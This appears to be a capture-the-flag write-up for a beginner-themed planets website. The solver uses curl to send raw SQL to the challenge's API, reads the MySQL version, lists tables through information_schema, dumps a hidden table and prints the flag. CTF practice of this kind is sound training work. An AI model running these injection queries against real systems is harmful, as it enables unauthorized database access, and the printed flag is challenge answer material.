Search for a command to run...

I just started programming and created my first website, an overview of all the planets in our solar system. Can you check if I didn't leave any security issues in it?
curlbashInspected network/api calls and exploited SQL full query injection.
Try to check the version used:
curl -sk 'https://planets.ctf.zone/api.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'query=SELECT version()'
[{"version()":"8.0.42-0ubuntu0.24.04.2"}]%
Try to list available tables:
curl -sk 'https://planets.ctf.zone/api.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "query=SELECT table_name FROM information_schema.tables WHERE table_schema='public'"
As it does return an empty array we try a MySQL/MariaDB query:
curl -sk 'https://planets.ctf.zone/api.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "query=SELECT table_name FROM information_schema.tables WHERE table_schema=database()"
We get:
[{"TABLE_NAME":"abandoned_planets"},{"TABLE_NAME":"planets"}]%
Then, using SELECT * FROM abandoned_planets, we get:
[{"id":1,"name":"Pluto","image":"pluto.png","description":"Have you heard about Pluto? That's messed up right? flag{9c4dea2d8ae5681a75f8e670ac8ba999}"}]%
flag{9c4dea2d8ae5681a75f8e670ac8ba999}